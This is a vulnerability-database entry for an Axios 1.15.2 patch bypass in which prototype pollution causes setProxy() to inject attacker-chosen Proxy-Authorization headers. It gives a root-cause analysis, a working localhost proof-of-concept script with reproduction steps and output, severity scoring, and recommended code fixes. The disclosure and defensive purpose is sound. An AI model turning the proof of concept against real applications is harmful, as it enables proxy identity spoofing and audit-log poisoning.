Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPollute Object.prototype with username/password via separate PP
-
DeliveryApplication sends proxied request
-
ExploitsetProxy() reads inherited properties from proxy object
-
ExecutionConstructs Proxy-Authorization header with attacker credentials
-
PersistInjects header into HTTP request to proxy
-
ImpactProxy logs attacker identity or applies policy based on injected credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization HTTP response header sanitization
|
| Exploitation Conditions | Two specific preconditions must both be met: (1) A separate prototype pollution vulnerability must exist in the application's dependency tree, allowing the attacker to pollute Object.prototype.username, Object.prototype.password, or Object.prototype.auth. (2) The application must explicitly configure config.proxy with a proxy host and port (e.g., { host: 'proxy.corp', port: 8080 }). Without both conditions, the vulnerability cannot be triggered. Default Axios usage without proxy configuration is not affected. The attacker does not need authentication to trigger the prototypical pollution, but must be able to deliver the pollution payload via a vulnerable dependency. |
| Impact | CVSS vector and score conflict: NVD reports 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N), while the advisory describes 5.6 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L) with high complexity due to two preconditions. This analysis adopts the advisory’s AC:H assessment as it better reflects real-world exploitability. EPSS is very low (0.03%), suggesting infrequent exploitation attempts. SSVC indicates exploitation is possible (poc) but not automatable, with partial technical impact. The requirement for two independent preconditions significantly reduces the attack surface compared to the original GHSA. The vulnerability is a priority for applications that use proxy configurations and are at risk of prototype pollution from dependencies, but it is not a widespread urgent threat. |
| Exploit ScenarioDerived | An attacker exploits a separate prototype pollution vulnerability in a dependency to set Object.prototype.username and Object.prototype.password. When the application makes a proxied HTTP request using Axios with an explicit proxy configuration, setProxy() reads the inherited polluted properties and injects a Proxy-Authorization header with attacker-controlled credentials. This can poison proxy logs, allow identity spoofing, or cause request failures if the proxy rejects the injected credentials. |
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Alert meAnalysisAIv1 – Jul 27, 2026
Proxy-Authorization header injection in Axios 1.15.2 allows attackers to inject attacker-controlled proxy credentials into all proxied HTTP requests via a bypass of the earlier null-prototype fix. Exploitation requires a separate prototype pollution vulnerability in the dependency tree and the application using an explicit proxy configuration. Publicly available exploit code exists; EPSS is low (0.03%) and the vulnerability is not in CISA KEV.
RemediationAI
Upgrade to Axios 1.16.0 or later, which includes a complete fix using Object.create(null) in utils.merge() and hasOwnProperty checks in setProxy(). If immediate upgrade is not possible, audit the dependency tree for prototype pollution vulnerabilities and avoid using explicit proxy configurations (config.proxy) unless necessary. However, upgrading is the only complete mitigation, as workarounds cannot prevent injection if a separate PP vulnerability exists.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability is a patch bypass for GHSA-q8qp-cvcw-x6jj in Axios. The fix used Object.create(null) for the top-level config object but not for nested objects created by utils.merge(), such as config.proxy. The setProxy() function in lib/adapters/http.js reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype is polluted with these properties via a separate prototype pollution vulnerability (CWE-1321), the polluted values are inherited by the proxy object, causing injection of a Proxy-Authorization header (CWE-113). The affected CPE is pkg:npm/axios, with the vulnerable component being the merge() and setProxy() functions.
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Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Requires two preconditions: prototype pollution and proxy config; AC:H; partial impacts.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution - Incomplete Null-Prototype Fix in Axios 1.15.2
Summary
The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.
The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.
Severity: Medium (CVSS 5.4) Affected Versions: 1.15.2 (and potentially 1.15.1) Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CVSS 3.1
Score: 5.6 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the proxy authentication context |
| Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) |
| Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |
| Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |
Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)
| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |
|---|---|---|
| Precondition | None - all requests affected | Must have config.proxy set |
config.baseURL PP | Hijacks all relative URL requests | Not applicable |
config.auth PP | Injects Authorization to target server | Only injects Proxy-Authorization to proxy |
| Attacker sees traffic | Yes (via baseURL redirect) | No - only proxy identity affected |
| Impact scope | Universal - every axios request | Only requests with explicit proxy config |
This Is a Patch Bypass
This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.
However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.
| Layer | Protection | Status |
|---|---|---|
config (top-level) | Object.create(null) | ✓ Fixed |
config.proxy (nested) | utils.merge() → const result = {} | ✗ NOT Fixed |
setProxy() reads | proxy.username, proxy.auth without hasOwnProperty | ✗ NOT Fixed |
Root Cause Analysis
Step 1: utils.merge() creates plain {} for nested objects
File: lib/utils.js, line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = {}; // ← Plain object with Object.prototype!
// ...
}When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.
Step 2: setProxy() reads proxy properties without hasOwnProperty
File: lib/adapters/http.js, lines 209-223
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
if (proxy.username) { // ← traverses Object.prototype!
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (proxy.auth) { // ← traverses Object.prototype!
const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
if (validProxyAuth) {
proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
}
// ...
const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!
}
// ...
}
}Complete Attack Chain
Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
│
▼
User config: { proxy: { host: 'proxy.corp', port: 8080 } }
│
▼
mergeConfig() → utils.merge() → new plain {}
config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)
config.proxy inherits from Object.prototype (has .username, .password)
│
▼
setProxy() at http.js:209:
proxy.username → 'attacker' (from Object.prototype) → truthy!
proxy.auth = 'attacker' + ':' + 'stolen-creds'
│
▼
http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Injected into EVERY proxied HTTP request!Proof of Concept
import http from 'http';
import axios from './index.js';
// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
res.writeHead(200);
res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));
// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';
// Developer sets proxy WITHOUT auth - expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});
// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds
delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();Reproduction Environment
Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0Reproduction Steps
# 1. Install axios 1.15.2
npm pack axios@1.15.2
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install
# 2. Save PoC as poc.mjs (code from Section 7 above)
# 3. Run
node poc.mjsVerified PoC Output
=== Axios 1.15.2: PP → Proxy-Authorization Injection ===
[1] Normal request with proxy (no auth):
Proxy-Authorization: none
[2] Prototype Pollution: Object.prototype.username = "attacker"
Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Decoded: attacker:stolen-creds
→ PP injected proxy credentials: attacker:stolen-creds
[3] Impact:
✗ Attacker injects Proxy-Authorization into all proxied requests
✗ If proxy logs auth, attacker credential appears in proxy logs
✗ If proxy authenticates based on this, attacker controls proxy identity
✗ Works on 1.15.2 despite null-prototype config fix
✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototypeConfirming the Bypass Mechanism
Direct PP (config.proxy) - BLOCKED by 1.15.2:
Object.prototype.proxy = { host: 'evil' }
config.proxy = undefined ← null-prototype blocks ✓
Nested PP (proxy.username) - BYPASSES 1.15.2:
Object.prototype.username = 'attacker'
config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties
config.proxy own keys: ['host', 'port'] ← username NOT own
config.proxy.username = 'attacker' ← inherited from Object.prototype!
hasOwn(config.proxy, 'username') = false## Impact Analysis
- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth - a common pattern in corporate environments.
### Prerequisite
- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted
## Recommended Fix
### Fix 1: Use `hasOwnProperty` in `setProxy()`
function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
if (hasOwn(proxy, 'username')) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); }
if (hasOwn(proxy, 'auth')) { // ... existing auth handling ... } } }
### Fix 2: Use null-prototype objects in `utils.merge()`
// lib/utils.js line 406 function merge(/* obj1, obj2, obj3, ... */) { const result = Object.create(null); // ← null-prototype for nested objects too // ... }
### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`
## References
- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)
- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [Axios GitHub Repository](https://github.com/axios/axios)Blast Radius
ecosystem impact- 1,299 npm packages depend on axios (585 direct, 723 indirect)
Ecosystem-wide dependent count for version 1.15.2.
Articles & Coverage 1
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
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